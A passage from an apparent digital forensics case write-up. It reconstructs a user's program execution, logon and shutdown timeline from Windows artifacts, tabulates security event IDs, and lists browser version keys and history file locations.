&lt;td&gt;2015-03-24 14:29:07&lt;/td&gt;
&lt;td&gt;C:\Program Files\Microsoft Games\Solitaire\solitaire.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 14:31:55&lt;/td&gt;
&lt;td&gt;C:\Windows\System32\StikyNot.exe&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 14:31:55&lt;/td&gt;
&lt;td&gt;Microsoft.Windows.StickyNotes&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 17:05:38&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Google\Chrome\Application\chrome.exe&lt;/td&gt;
&lt;td&gt;71&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:41:03&lt;/td&gt;
&lt;td&gt;C:\Program Files\Microsoft Office\Office15\OUTLOOK.EXE&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:41:03&lt;/td&gt;
&lt;td&gt;C:\Program Files\Microsoft Office\Office15\OUTLOOK.EXE&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:42:47&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Windows Media Player\wmplayer.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:42:47&lt;/td&gt;
&lt;td&gt;Microsoft.Windows.MediaPlayer32&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:47:40&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\Download\Eraser 6.2.0.2962.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:48:28&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\Download\ccsetup504.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:50:14&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\Download\Eraser 6.2.0.2962.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:50:14&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\Download\Eraser 6.2.0.2962.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:50:15&lt;/td&gt;
&lt;td&gt;C:\Users\INFORM~1\AppData\Local\Temp\eraserInstallBootstrapper\dotNetFx40_Full_setup.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:50:15&lt;/td&gt;
&lt;td&gt;C:\Users\INFORM~1\AppData\Local\Temp\eraserInstallBootstrapper\dotNetFx40_Full_setup.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:57:56&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\Download\ccsetup504.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:57:56&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\Download\ccsetup504.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:12:28&lt;/td&gt;
&lt;td&gt;C:\Program Files\Eraser\Eraser.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:13:30&lt;/td&gt;
&lt;td&gt;C:\Program Files\Eraser\Eraser.exe&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:15:50&lt;/td&gt;
&lt;td&gt;C:\Program Files\CCleaner\CCleaner64.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:15:50&lt;/td&gt;
&lt;td&gt;C:\Program Files\CCleaner\CCleaner64.exe&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:16:00&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Google\Update\GoogleUpdate.exe&lt;/td&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:18:29&lt;/td&gt;
&lt;td&gt;C:\Program Files\CCleaner\uninst.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:21:30&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Google\Drive\googledrivesync.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:21:31&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Google\Drive\googledrivesync.exe&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:22:06&lt;/td&gt;
&lt;td&gt;C:\Program Files\Internet Explorer\iexplore.exe&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:22:07&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Internet Explorer\iexplore.exe&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:24:48&lt;/td&gt;
&lt;td&gt;C:\Program Files\Microsoft Office\Office15\WINWORD.EXE&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:24:48&lt;/td&gt;
&lt;td&gt;C:\Program Files\Microsoft Office\Office15\WINWORD.EXE&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:28:47&lt;/td&gt;
&lt;td&gt;C:\Windows\System32\xpsrchvw.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Prefetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:28:47&lt;/td&gt;
&lt;td&gt;C:\Windows\System32\xpsrchvw.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;System Activity Timeline&lt;/h1&gt;
&lt;h2&gt;List all traces about the system on/off and the user logon/logoff. (Time range: 09:00–18:00)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;For this task, we have to carve all the &lt;code&gt;Event logs&lt;/code&gt; from &lt;code&gt;C:\Windows\System32\winevt\Logs\*&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;So i carved all the logs include important one,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Application.evtx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Security.evtx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;System.evtx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Setup.evtx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Parse all the important logs and convert it to csv using &lt;a href=&quot;https://github.com/EricZimmerman/evtx&quot;&gt;EvtxeCmd&lt;/a&gt; tool.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;EvtxECmd.exe -f &quot;Evtx Logs\&amp;lt;LogFileName&amp;gt;.evtx&quot; --csv &amp;lt;DirectoryName&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501161620.png&quot; alt=&quot;Pasted image 20260501161620.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we can analyze it using &lt;a href=&quot;https://ericzimmerman.github.io/#forensic-tools&quot;&gt;Timeline Explorer&lt;/a&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501163229.png&quot; alt=&quot;Pasted image 20260501163229.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Core Logon / System Events (your timeline ones)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;DFIR Insight&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4608&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows is starting up&lt;/td&gt;
&lt;td&gt;System boot — start of activity window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4624&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Successful logon&lt;/td&gt;
&lt;td&gt;User/session access (interactive, RDP, service, etc.)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4634&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Logoff (session ended)&lt;/td&gt;
&lt;td&gt;Session terminated (not always user-initiated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4647&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;User initiated logoff&lt;/td&gt;
&lt;td&gt;Clean logoff (user clicked sign out)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4637&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;User account logoff (token ended)&lt;/td&gt;
&lt;td&gt;Less common, system-driven logoff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1100&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Event logging service shutdown&lt;/td&gt;
&lt;td&gt;System shutdown (or logging stopped)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Authentication / Credential / Privilege Events&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;DFIR Insight&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4648&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Logon using explicit credentials&lt;/td&gt;
&lt;td&gt;&lt;code&gt;runas&lt;/code&gt;, lateral movement indicator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4672&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Special privileges assigned&lt;/td&gt;
&lt;td&gt;Admin/root-level login important&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4673&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Privileged service called&lt;/td&gt;
&lt;td&gt;Sensitive API usage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4674&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Operation on privileged object&lt;/td&gt;
&lt;td&gt;Access to sensitive system resources&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4625&lt;/strong&gt; (not shown but important)&lt;/td&gt;
&lt;td&gt;Failed logon&lt;/td&gt;
&lt;td&gt;Brute force / incorrect creds&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Account &amp;amp; Policy Changes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;DFIR Insight&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4720&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;User account created&lt;/td&gt;
&lt;td&gt;Persistence / attacker account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4722&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Account enabled&lt;/td&gt;
&lt;td&gt;Re-activation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4724&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Password reset attempt&lt;/td&gt;
&lt;td&gt;Possible takeover&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4728&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Added to privileged group&lt;/td&gt;
&lt;td&gt;Privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4732&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Added to local group&lt;/td&gt;
&lt;td&gt;Local privilege change&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4733&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Removed from group&lt;/td&gt;
&lt;td&gt;Cleanup / stealth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4735&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Group changed&lt;/td&gt;
&lt;td&gt;Membership modification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4738&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;User account changed&lt;/td&gt;
&lt;td&gt;Attribute change&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;System &amp;amp; Logon/Logoff Event Timeline&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time Generated&lt;/th&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 10:51:14&lt;/td&gt;
&lt;td&gt;4608&lt;/td&gt;
&lt;td&gt;Starting up&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 11:00:08&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 11:22:54&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 12:00:08&lt;/td&gt;
&lt;td&gt;4647&lt;/td&gt;
&lt;td&gt;Logoff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 12:00:09&lt;/td&gt;
&lt;td&gt;1100&lt;/td&gt;
&lt;td&gt;Shutdown&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 13:24:23&lt;/td&gt;
&lt;td&gt;4608&lt;/td&gt;
&lt;td&gt;Starting up&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 13:24:23&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:36:07&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:00:22&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:01:02&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 17:02:53&lt;/td&gt;
&lt;td&gt;4647&lt;/td&gt;
&lt;td&gt;Logoff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 17:02:59&lt;/td&gt;
&lt;td&gt;1100&lt;/td&gt;
&lt;td&gt;Shutdown&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:21:29&lt;/td&gt;
&lt;td&gt;4608&lt;/td&gt;
&lt;td&gt;Starting up&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:21:29&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:23:40&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 11:14:30&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 11:22:39&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 11:46:14&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 14:28:38&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 16:58:52&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 17:07:25&lt;/td&gt;
&lt;td&gt;4647&lt;/td&gt;
&lt;td&gt;Logoff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 17:07:26&lt;/td&gt;
&lt;td&gt;1100&lt;/td&gt;
&lt;td&gt;Shutdown&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 09:05:41&lt;/td&gt;
&lt;td&gt;4608&lt;/td&gt;
&lt;td&gt;Starting up&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 09:05:41&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 09:07:49&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 09:23:59&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:31:53&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:45:59&lt;/td&gt;
&lt;td&gt;4637&lt;/td&gt;
&lt;td&gt;Logoff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:50:28&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:50:30&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:50:50&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:56:55&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:57:18&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:18:54&lt;/td&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:30:57&lt;/td&gt;
&lt;td&gt;4647&lt;/td&gt;
&lt;td&gt;Logoff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 11:31:00&lt;/td&gt;
&lt;td&gt;1100&lt;/td&gt;
&lt;td&gt;Shutdown&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Web &amp;amp; Browser Forensics&lt;/h1&gt;
&lt;h2&gt;What web browsers were used?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Internet Explorer&lt;/code&gt; (value: svcVersion)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKU\informant\Software\Google\Chrome\BLBeacon&lt;/code&gt; (value: version)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501163626.png&quot; alt=&quot;Pasted image 20260501163626.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value Name&lt;/th&gt;
&lt;th&gt;Value / Data&lt;/th&gt;
&lt;th&gt;Interpretation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MkEnabled&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Feature enabled flag (likely Microsoft component active)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;/td&gt;
&lt;td&gt;9.11.9600.17691&lt;/td&gt;
&lt;td&gt;Main software/version build identifier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Build&lt;/td&gt;
&lt;td&gt;99600&lt;/td&gt;
&lt;td&gt;Internal build number (Windows component)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W2kVersion&lt;/td&gt;
&lt;td&gt;9.11.9600.17691&lt;/td&gt;
&lt;td&gt;Compatibility version string&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IntegratedBrowser&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Internet Explorer integration enabled (1 = true)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;svcKBFWLink&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://go.microsoft.com/fwlink/?LinkId=524482&quot;&gt;http://go.microsoft.com/fwlink/?LinkId=524482&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Microsoft update/help reference URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;svcVersion&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;11.0.9600.17691&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;IE/Windows service version&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;svcUpdateVersion&lt;/td&gt;
&lt;td&gt;11.0.17&lt;/td&gt;
&lt;td&gt;Update branch/version of service component&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;svcKBNumber&lt;/td&gt;
&lt;td&gt;KB3032359&lt;/td&gt;
&lt;td&gt;Installed KB patch identifier&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Identify browser history paths.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;MS IE (9 or lower) :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Microsoft\Windows\History\ &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Microsoft\Windows\Temporary Internet Files\ &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Roaming\Microsoft\Windows\Cookies\ &lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MS IE 11 :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat &lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chrome :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Google\Chrome\User Data\Default\History &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Google\Chrome\User Data\Default\Application Cache\ &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Google\Chrome\User Data\Default\Media Cache\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Google\Chrome\User Data\Default\GPUCache\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Google\Chrome\User Data\Default\Cookies\ &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Google\Chrome\User Data\Default\Extensions\&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Considerations&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;History, Cache, Cookie… -
&lt;ul&gt;
&lt;li&gt;Windows Search database ([[Digital Forensics Investigation Questions#Windows Search Analysis]])&lt;/li&gt;
